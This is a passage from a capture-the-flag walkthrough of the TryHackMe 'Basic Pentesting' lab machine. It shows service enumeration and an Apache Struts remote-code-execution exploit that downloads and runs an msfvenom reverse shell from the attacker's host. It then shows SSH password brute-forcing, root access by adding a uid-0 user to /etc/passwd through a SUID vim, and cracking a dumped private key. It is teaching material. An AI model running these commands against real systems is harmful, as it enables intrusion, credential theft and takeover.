|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2024-09-13T04:39:07
|_  start_date: N/A
|_clock-skew: mean: 1h20m21s, deviation: 2h18m34s, median: 20s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2024-09-13T00:39:07-04:00

Bunch of ports are open. Below is the importance order in my humble opinion. So I’m going to enumerate them in the following order.

Web server running on the port 80

We check the source code

There should be a dev note section. Other than that, there is nothing to do, so it is a good time to do directory busting. My go-to tool for webapp fuzzing is ffuf.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.126.175/FUZZ -e .html,.php,.txt 
[REDACTED]
development             [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 70ms]
[REDACTED]

We navigate to the http://10.10.126.175/development

There are some directory listings in there.

The dev.txt is

The j.txt is

We discovered a lot of useful information from these files. First of all, there is and Apache Struts version 2.5.12 is running on the machine, and there is also an REST example of that service is running too. Secondly, the user J (most probably the initial of the username, something like Jane, Jack, John etc…) has a weak password, and this password is a login password for the machine, since it is stated that hash from the /etc/shadow file is analyzed. So there is a user whose username starts with letter J has a weak login password.

Web server running on the port 8080

We navigate to the http://10.10.126.175:8080. The website look like this, an Apache Tomcat default landing page.

If you see an Apache Tomcat server, the very first thing you should try is the default credentials, tomcat:s3cr3t. For this machine, it didn’t work out. So, we already know a vulnerable struts version is running on the server. Before going into that, we enumerate the SMB shares

The list of available SMB shares

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# smbclient -L //10.10.126.175
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk
        IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            BASIC2

We connect to the Anonymous. There is a file called staff.txt which has valuable information in it.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# smbclient //10.10.126.175/Anonymous
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 13:31:20 2018
  ..                                  D        0  Thu Apr 19 13:13:06 2018
  staff.txt                           N      173  Thu Apr 19 13:29:55 2018

                14318640 blocks of size 1024. 11047244 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \> exit

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

So, J stands for Jan and K stands for Kay.

We move on to the Enum4Linux scan, just not to miss any possible information.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# enum4linux -a 10.10.126.175
[REDACTED]
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User
[REDACTED]

As we suspected, users are kay and jan. The user jan has a weak password.

At this point, our last option, ssh brute-forcing, seems like a pretty good option. Before going into the Struts exploit, we start our SSH brute forcing, since it takes quite long time. I use hydra for this task.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# hydra -l jan -P /usr/share/wordlists/rockyou.txt -vV 10.10.126.175 ssh

While waiting for that, I go for the Struts exploit. We go for a non-metasploit way to do it. Quick search to see if there is a readily available exploit on the kali machine.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# searchsploit 2.5.12
--------------------------------------------------------------------------- ----------------------------
 Exploit Title                                                             |  Path
--------------------------------------------------------------------------- ----------------------------
Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution     | linux/remote/42627.py
Kirby CMS 2.5.12 - Cross-Site Request Forgery (Delete Page)                | linux/webapps/45090.txt
Kirby CMS 2.5.12 - Cross-Site Scripting                                    | php/webapps/45068.txt
--------------------------------------------------------------------------- ----------------------------
Shellcodes: No Results

linux/remote/42627.py is the thing we are looking for. Run it to get help.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 42627.py
CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE
[*] Warflop - http://securityattack.com.br
[*] Greatz: Pimps & G4mbl3r
[*] Use: python struts2.py URL COMMAND
[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id

I am not sure if we have the same url. Check it, and It is not.

A quick search gives this result. https://blog.appsecco.com/detecting-and-exploiting-the-java-struts2-rest-plugin-vulnerability-cve-2017-9805-765773921d3d

So our url is: http://10.10.126.175:8080/struts2-rest-showcase-2.5.12/orders/3

Lets run the command again with proper input.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 42627.py http://10.10.126.175:8080/struts2-rest-showcase-2.5.12/orders/3 id

<!doctype html><html lang="en"><head><title>HTTP Status 500  Internal Server Error</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> java.lang.String cannot be cast to java.security.Provider$Service : java.lang.String cannot be cast to java.security.Provider$Service</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service : java.lang.String cannot be cast to java.security.Provider$Service
---- Debugging information ----
message             : java.lang.String cannot be cast to java.security.Provider$Service
cause-exception     : java.lang.ClassCastException
cause-message       : java.lang.String cannot be cast to java.security.Provider$Service
class               : java.util.HashMap
required-type       : java.util.HashMap
converter-type      : com.thoughtworks.xstream.converters.collections.MapConverter
path                : /map/entry
line number         : 49
version             : 1.4.8
-------------------------------
        com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
        com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65)
        com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
        com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
        com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
        com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
        com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1206)
        com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1190)
        com.thoughtworks.xstream.XStream.fromXML(XStream.java:1120)
        org.apache.struts2.rest.handler.XStreamHandler.toObject(XStreamHandler.java:45)
        org.apache.struts2.rest.ContentTypeInterceptor.intercept(ContentTypeInterceptor.java:60)
        com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
        org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
        com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:134)
        com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
[REDACTED]
[REDACTED]
[REDACTED]
        com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:201)
        com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
        org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
        com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193)
        com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
        org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
        com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:160)
        org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:577)
        org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81)
        org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:143)
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/9.0.7</h3></body></html>

The result is 500 Internal Server Error with lots of stack trace error messages. We do not see the response of the command we sent or the error messages does not contain the response. So in order to be sure if the exploit is working or not, we send ping request to our machine and listen it.

Start listener for incoming ICMP messages.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# tcpdump ip proto \\icmp -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

Send ping request to our attack machine.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 42627.py http://10.10.126.175:8080/struts2-rest-showcase-2.5.12/orders/3 "ping -c 3 10.9.0.108"
[REDACTED]
[REDACTED]
[REDACTED]

Same error messages but we get the ping requests this time.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# tcpdump ip proto \\icmp -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:00:56.895264 IP 10.10.126.175 > 10.9.0.108: ICMP echo request, id 15602, seq 1, length 64
09:00:56.895328 IP 10.9.0.108 > 10.10.126.175: ICMP echo reply, id 15602, seq 1, length 64
09:00:57.896423 IP 10.10.126.175 > 10.9.0.108: ICMP echo request, id 15602, seq 2, length 64
09:00:57.896448 IP 10.9.0.108 > 10.10.126.175: ICMP echo reply, id 15602, seq 2, length 64
09:00:58.951278 IP 10.10.126.175 > 10.9.0.108: ICMP echo request, id 15602, seq 3, length 64
09:00:58.951299 IP 10.9.0.108 > 10.10.126.175: ICMP echo reply, id 15602, seq 3, length 64

So, we know exploit is working. Lets craft our reverse shell using msfvenom.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# msfvenom -p linux/x64/shell_reverse_tcp -f elf LHOST=10.9.0.108 LPORT=4444 -o ./rev_shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: ./rev_shell

Fire up a simple HTTPServer

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Download our crafted reverse shell from our attack machine and execute it on the victim machine. Do not forget to start your listener nc -nvlp 4444, I am using rlwrap to make it more stable and easy to use.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# rlwrap nc -nvlp 4444
listening on [any] 4444 ...

Execute this on victim machine, we navigate to the /tmp folder for write permissions, download our reverse shell, make it executable and run it in a single command.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 42627.py http://10.10.126.175:8080/struts2-rest-showcase-2.5.12/orders/3 "cd /tmp; wget http://10.9.0.108/rev_shell; chmod +x rev_shell; ./rev_shell"
<!doctype html><html lang="en"><head><title>HTTP Status 500  Internal Server Erro
[REDACTED]
[REDACTED]
        org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81)
        org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:143)
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/9.0.7</h3></body></html>

Still got the same error messages but HTTP server logs show that file is downloaded and we got the shell.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.126.175 - - [14/Sep/2024 09:05:46] "GET /rev_shell HTTP/1.1" 200 -
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# rlwrap nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.9.0.108] from (UNKNOWN) [10.10.126.175] 41536
whoami
tomcat9

We’ll make it a tty shell. More information on TTY shell upgrade: https://book.hacktricks.xyz/generic-methodologies-and-resources/reverse-shells/full-ttys

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# rlwrap nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.9.0.108] from (UNKNOWN) [10.10.126.175] 41536
whoami
tomcat9
python -c 'import pty; pty.spawn("/bin/bash")'
tomcat9@basic2:/tmp$ 

CTRL + Z

zsh: suspended  rlwrap nc -nvlp 4444
                                                                                                                                                            
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# stty size;stty raw -echo;fg
25 156
[1]  + continued  rlwrap nc -nvlp 4444
tomcat9@basic2:/tmp$ reset
reset
reset: unknown terminal type unknown
Terminal type? xterm-256color
xterm-256color

tomcat9@basic2:/tmp$ export SHELL=bash
export SHELL=bash
tomcat9@basic2:/tmp$ 

Not a fully functional TTY shell but better than nothing. Lets check back to the Hydra brute-force.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# hydra -l jan -P /usr/share/wordlists/rockyou.txt -vV 10.10.126.175 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-14 07:37:52
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.126.175:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://[email protected]:22
[INFO] Successful, password authentication is supported by ssh://10.10.126.175:22
[ATTEMPT] target 10.10.126.175 - login "jan" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.126.175 - login "jan" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.126.175 - login "jan" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[REDACTED]
[REDACTED]
[REDACTED]
[ATTEMPT] target 10.10.126.175 - login "jan" - pass "loves" - 783 of 14344400 [child 6] (0/1)
[ATTEMPT] target 10.10.126.175 - login "jan" - pass "lolita" - 784 of 14344400 [child 10] (0/1)
[22][ssh] host: 10.10.126.175   login: jan   password: armando
[STATUS] attack finished for 10.10.126.175 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-14 07:45:10

We found a password for the user jan. It is armando. We try and connect via SSH.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# ssh [email protected]      
[email protected]'s password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Sep 14 05:03:52 2024 from 10.9.0.108
jan@basic2:~$ whoami
jan
jan@basic2:~$

At this point we get the initial foothold with 2 different approach. For the sake of completeness, we try to escalate our privileges in both cases.

Privilege Escalation

To start with, there are two possible privilege escalation paths. This guide explains both of them in detail.

  • Misconfigured SUID binary called vim.basic
  • Exposed RSA private key

After the initial foothold, I use an automated tool to quickly search for possible easy privilege escalation paths. Lets upload linpeas to the victim machine and execute it. You can download the desired linpeas version from here: https://github.com/peass-ng/PEASS-ng/releases

tomcat9@basic2:/tmp$ wget http://10.9.0.108/linpeas.sh
wget http://10.9.0.108/linpeas.sh
--2024-09-14 09:15:03--  http://10.9.0.108/linpeas.sh
Connecting to 10.9.0.108:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 853290 (833K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 833.29K  1.90MB/s    in 0.4s    

2024-09-14 09:15:04 (1.90 MB/s) - 'linpeas.sh' saved [853290/853290]

tomcat9@basic2:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
tomcat9@basic2:/tmp$ ./linpeas.sh
./linpeas.sh

Linpeas’ output is huge, so I am not going to insert the whole output of the script but followings are the key points (at least intended paths).

[OMITTED]
Possible private SSH keys were found! 
/home/kay/.ssh/id_rsa

[OMITTED]

SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root root 2.4M Nov 24  2016 /usr/bin/vim.basic (Unknown SUID binary!)
[OMITTED]

The exact same result is obtained if we run linpeas with user jan. So there are 2 possible paths, exposed private key and a SUID binary called vim.basic with root privileges.

SUID Binary

We can get the same result from linpeas with user jan too. Lets run vim.basic to play around. Apparently, we can any file with root privileges by using the SUID binary. Lets add our own user to the /etc/passwd file.

Create user with openssl passwd -1 -salt [salt] [password], and append it in the following form at the end of the /etc/passwd file.

username:passwordhash:0:0:root:/root:/bin/bash

So the credentials that I chose are zurna:zurna3131. Lets create it with the chosen password and salt.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# openssl passwd -1 -salt salted zurna3131
$1$salted$KUO7SFOyoFPTPbx99WZG5/

Final form of the `/etc/passwd` file should look like this.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
kay:x:1000:1000:Kay,,,:/home/kay:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
tomcat9:x:999:999::/home/tomcat9:/bin/false
jan:x:1001:1001::/home/jan:/bin/bash
zurna:$1$salted$KUO7SFOyoFPTPbx99WZG5/:0:0:root:/root:/bin/bash
~                                                                     
~                                                                     
~                                                                     
~                                                                     
~                                                                     
:wq!

Switch to the newly created user.

jan@basic2:~$ su zurna
Password:      (zurna3131)
root@basic2:/home/jan# whoami
root
root@basic2:/home/jan# 

This was the method that exploits the SUID binary. Same exploit can be done with the user tomcat9.

Exposed Private Key

So we know user kay has an exposed private RSA key.

jan@basic2:/home/kay$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .lesshst  .nano  pass.bak  .profile  .ssh  .sudo_as_admin_successful  .viminfo
jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls -a
.  ..  authorized_keys  id_rsa  id_rsa.pub
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

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
-----END RSA PRIVATE KEY-----

Take this to your attack machine and try to connect via ssh. You may do it on the victim machine too. However, for the ease of use I’ll use my own attack machine.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# chmod 600 kay-key.txt   

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# ssh -i kay-key.txt [email protected]
Enter passphrase for key 'kay-key.txt': 
Enter passphrase for key 'kay-key.txt': 
[email protected]'s password: 
Permission denied, please try again.
[email protected]'s password: 
Permission denied, please try again.
[email protected]'s password: 
[email protected]: Permission denied (publickey,password).  

It is passphrase protected. We try to crack it with John The Ripper.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# ssh2john kay-key.txt > ssh-john.txt
                                                                                                                                                            
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# john ssh-john.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (kay-key.txt)     
1g 0:00:00:00 DONE (2024-09-14 09:43) 9.090g/s 752290p/s 752290c/s 752290C/s behlat..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The passphrase is beeswax.

┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# ssh -i kay-key.txt [email protected]                       
Enter passphrase for key 'kay-key.txt': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
